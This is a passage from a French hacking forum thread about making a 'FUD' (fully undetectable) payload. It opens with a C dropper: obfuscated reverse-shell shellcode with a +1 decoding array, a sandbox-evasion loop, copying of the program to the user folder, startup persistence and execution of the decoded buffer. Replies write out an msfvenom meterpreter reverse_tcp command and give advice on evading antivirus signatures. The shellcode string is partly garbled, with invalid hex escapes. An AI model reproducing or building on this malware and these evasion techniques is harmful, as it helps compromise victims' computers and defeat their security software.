"\xbf\xc3\x8f\x3b\x5b\xdb\xc5\xda\x75\x25\xf5\x59\x2c\xca\xb2\x72\x32\x71\x14\x84\xe9\xfd\x04\x71\xce\x6d\xcg\x82\x1g\xc9\xb4\x66\x42\x38\x6e\xfe\x5a\xbd\xd8\xcg\x69\x8e\x83\x1f\x29\xf8\xd2\x8c\x51\x05\x95\x5f\xca\xae\x1g\x95\xd5\x6e\x2e\x49\x75\xa9\x65\x4g\x21\x2a\x15\x26\xc2\xdc\xf8\x76\xab\x5a\xag\xc4\xc5\x22\x1d\x5d\x9a\x33\x06\x47\x0g\x1a\xe9\x08\x68\x62\x85\xdc\x67\x7e\x31\xdc\x92\xbf\xcb\x1f\x8c\x09\xaf\x9a\xa5\xb3\x7b\x04\x14\x7g\x95\xf7\x73\xbe\x7d\x3d\x64\x52\x3c\x0f\x32\x5a\xa8\x07\xd1\x25\x32\x6e\x3f\x0c\xec\xd4\x8g\xd4\xfd\x48\x2a\xb3\x73\x29\xa5\x3c\x03\x37\x2c\x0f\xbf\xba\x7f\x9c\x1b\xa9\xf7\x1a\x39\x28\x77\x55\xec\x81\x7f\x5e\x74\x14\x3d\x96\x94\x31\x9b\x9g\x7d\xa7\x4c\x9d\x17\x88\x59\xf2\x75\xe5\x4g\x69\xe1\xfg\x0d\xf3\xfc\xa2\x62\x2f\x6a\x88\x3f\x35\xa6\xee\x73\x1c\x24\x43\x89\xcd\x11\xa3\x0b\xcg\x0d\x1g\x2e\x73\xba\xe3\x69\xe4\x06\x08\xe8\xbb\x59\x09\x34\x1b\x46\x31\x96\x6e\x77\x81\x9c\xcf\x2g\x7a\x5f\x23\xfc\xdf\xbg\x89\xae\x28\x0a\x73\xf1\x35\xa6\xaa\xb7\xae\x8b\x57\x32\x7c\x3d\xeb\x9e\x1e\xaa\xd8\x89\x9b\xba\x1e\xf8\x88\x42\xcc\xca\x6a\x96\x3b\x55\xaa\xe1\x44\xcc\x9g\xa1\x65\x3e\x83\xe7\xfa\xdf\xa4\xed\x31\x63\xbe\x71\xef\xac\x93\xaf\x28\x1g\xbd\xa5\x05\xda\x96\xe7\xd8\xc2\x01\xee\x46\xeb\x1b\x22\x79\x2d\xff\x6f\x5g\x74\x35\x77\x2a\xaf\x74\xc9\x36\x8e\x67\xbb\x6a\x33\x1e\xb6\x19\xba\xf3\x93\xag\x1d\x43\x18\x57\x53\x02\x1e\xe4\xda\xca\xf6\xcb\xa1\xfa\x02\xd5\x82\xf8\x0d\x65\xcg\x0c\x3g\x65\x6d\x97\xfg\x91\xfg\xad\xa6\x83\xff\x8d\xa6\x12\x2d\x8b\xe5\xcb\x72\xec\x0g\x84\x34\x5a\xcg\x0e\xdd\x38\xb2\x7e\x85\xab\x63\x53\x36\x5c\x8c\xcd\x2f\xe9\x27\x55\xe6\x1f\x4g\x96\x3c\xb6\x31\x3c\x41\xe4\x38\x4g\x06\xff\x4a\x19\xa5\x7e\x61\x76\x2g\x75\x82\x08\xaa\xbg\xef\x65\xa8\x7b\x13\x99\x45\xe7\xe6\xdg\xa3\x45\x07\xb8\xdg\xag\x35\xc1\x18\x16\x63\x1d\x1a\xa4\xe9\x3e\x66\x6e\x2d\x79\xee\xef\x64\x97\x59\x81\x63\xd5\x2c\x2c\xac\xf3\x1a\x34\x71\x8f\xa5\xff\x4g\x28\x63\x92";

int gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[]={1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1};
int lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf;
int abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl=0;
int (*ret)() = (int(*)())buf;



int main(int argc,char *argv[])
{
HWND hwnd=GetForegroundWindow (); //ShowWindow (hwnd,SW_HIDE);
printf("1 ");lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);
printf("1 ");strcpy(lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit,argv[0]);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,"\" \"C:\\Users\\%username%\"");
strcpy(qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt,"blublu.exe");
strcat(wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco,qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt);
system(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs);
system(rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl);
printf("1 ");if(strstr(argv[0],"blubl"))
{
lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);while (wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv<98000)
{
iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv]=6;
wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv++;

tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje++;
}
if(tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje>9000)
{
while(abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl<lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf)
{
buf[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl]-=gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl];
abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl++;
}
ret();
}
}
}

Normalement après avoir soustrait 1 à chaque opcode le shellcode devrait être correct et s"exécuter mais non ..

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 598
  • +33/-5
Re : Proposition explication payload FUD
« Réponse #26 le: 24 avril 2019 à 08:33:25 »
Salut à toi.
Quel shellcode utilise tu ?
Le shellcode d'origine donné par WK ou un que tu as crée via msfvenom ?
Pour débugger ton script voila ce que je ferais à ta place :
Creation d'un shellcode via msfvenom (on y reviendra)
Test du shellcode sans obfuscation . -> permet de s'assurer que le shellcode originel utilisé est fonctionnel pour l'OS ciblé.
Si ne fonctionne pas tu as ta réponse, le pb vient du shellcode et non pas de l'obfuscation.
Si shellcode fonctionne sans obfuscation, ensuite tu appliques l'obfuscation tel qu'expliqué par WK.

Dans un 1er temps fais un script qui obfusque ton shellcode puis qui le defusque dans la foulée (ainsi tu pourras valider que ton obfuscation / défubcation fonctionne correctement).

Et seulement une fois que tu te seras assuré que SHELLCODE OK + obfuscation OK, tu le testes sur ton OS cible.
NB : dans le script donnée par WK il y a des paths windows qui ne sont pas les meme d'une version windows à l'autre......

Maintenant ce qui peut etre améliorer :
- Si tu te sens plus à l'aise avec python, recode le script en python (à mon sens plus simple qu'en C)
- Shellcode : L'utilisation de msfvenom à l'avantage d'etre super simple mais le pb c'est que les patterns utilisés par Metasploit pour creer ses payload sont hyper connus des AV.
Si tu as des bases en assembleur et que tu veux vraiment donner du fil a retordre à ton AV, code toi meme ton payload.
Ce n'est pas hyper complexe (en tout cas pour un bind TCP pour se faire la main). Le plus chiant étant de virer les NOP sled.
L'avantage étant que ton payload sera beaucoup plus petit et sa signature beaucoup moins connue qu'une signature Mestasploit.

@+



Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2490
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Proposition explication payload FUD
« Réponse #27 le: 24 avril 2019 à 09:13:43 »
Je regarde ton code dans la journée et je te dis ça mais à priori , tu as testé la valeur de tes opcodes avant d'exécuter le shellcode ?
Mess  with the bests.
Die like the rest.

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Re : Proposition explication payload FUD
« Réponse #28 le: 24 avril 2019 à 13:10:38 »
Salut à toi.
Quel shellcode utilise tu ?
Le shellcode d'origine donné par WK ou un que tu as crée via msfvenom ?
Pour débugger ton script voila ce que je ferais à ta place :
Creation d'un shellcode via msfvenom (on y reviendra)
Test du shellcode sans obfuscation . -> permet de s'assurer que le shellcode originel utilisé est fonctionnel pour l'OS ciblé.
Si ne fonctionne pas tu as ta réponse, le pb vient du shellcode et non pas de l'obfuscation.
Si shellcode fonctionne sans obfuscation, ensuite tu appliques l'obfuscation tel qu'expliqué par WK.

Dans un 1er temps fais un script qui obfusque ton shellcode puis qui le defusque dans la foulée (ainsi tu pourras valider que ton obfuscation / défubcation fonctionne correctement).

Et seulement une fois que tu te seras assuré que SHELLCODE OK + obfuscation OK, tu le testes sur ton OS cible.
NB : dans le script donnée par WK il y a des paths windows qui ne sont pas les meme d'une version windows à l'autre......

Maintenant ce qui peut etre améliorer :
- Si tu te sens plus à l'aise avec python, recode le script en python (à mon sens plus simple qu'en C)
- Shellcode : L'utilisation de msfvenom à l'avantage d'etre super simple mais le pb c'est que les patterns utilisés par Metasploit pour creer ses payload sont hyper connus des AV.
Si tu as des bases en assembleur et que tu veux vraiment donner du fil a retordre à ton AV, code toi meme ton payload.
Ce n'est pas hyper complexe (en tout cas pour un bind TCP pour se faire la main). Le plus chiant étant de virer les NOP sled.
L'avantage étant que ton payload sera beaucoup plus petit et sa signature beaucoup moins connue qu'une signature Mestasploit.

@+
Salut merci pour ta réponse ! J'utilise un shellcode pour du reverse_tcp généré par msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST= ip LPORT=port -e x86/shikata_ga_nai -i 5 -f cEffectivement je l'ai déjà testé sans obfuscation et il fonctionne parfaitement. Ce que je fais:
Je génère mon shellcode comme j'ai dit plus haut. Ensuite je l'obfusque grâce à un petit scrip en python qui ajoute à chaque opcode un nombre que je choisis, pour faire le plus simple j'ai choisi 1, tout simplement.
\xbe\xc3\x8a\x39 ...devient donc \xbf\xc4\x8b\x3a ... et ainsi de suite.
Pour finir j'insère mon shellcode et la variable qui contient la suite de 1 afin de desobfusquer le shellcode et j'exécute.
La première partie qui copie le .exe dans %user% et crée un fichier .bat dans startup fonctionne mais mon shellcode n'est visiblement pas exécuté ou je pense plutôt qu'il n'est pas désobfusqué puisqu'il ne se passe rien.

Oui dès que j'aurais un peu de temps je vais reprendre ce script en python c'est vrai que ça n'a pas l'air très complexe a réaliser mais j'aurais juste aimé comprendre ce qui couille dans ce script en C puisque logiquement il est censé fonctionner.  Et pour l'assembleur c'est archi mort je suis une burne :'(

Je regarde ton code dans la journée et je te dis ça mais à priori , tu as testé la valeur de tes opcodes avant d'exécuter le shellcode ?
Salut ZeR0, dacc merci, eh bien j'ai testé le shellcode avant l'obfuscation et il fonctionne, et pour ce qui est de changer les opcode, j'ai fait un script qui automatise ça et me dit de combien il à ajouté à chaque opcode en hexa bien sur donc pas de soucis à ce niveau là.

Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2490
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Proposition explication payload FUD
« Réponse #29 le: 24 avril 2019 à 13:13:53 »
Je pense que le problème peut venir effectivement du fait que le code n'est pas exécuté après avoir soustrait 1 à toutes tes opcodes , faudrais que tu regardes plus en détails avec un débugger car tu devrais en effet possiblement avoir un résultat même si tes opcodes ne sont pas bonnes , peut être que le opcodes "transformées" génère des instructions correctes , tu comprends ou je veux en venir ?
Mess  with the bests.
Die like the rest.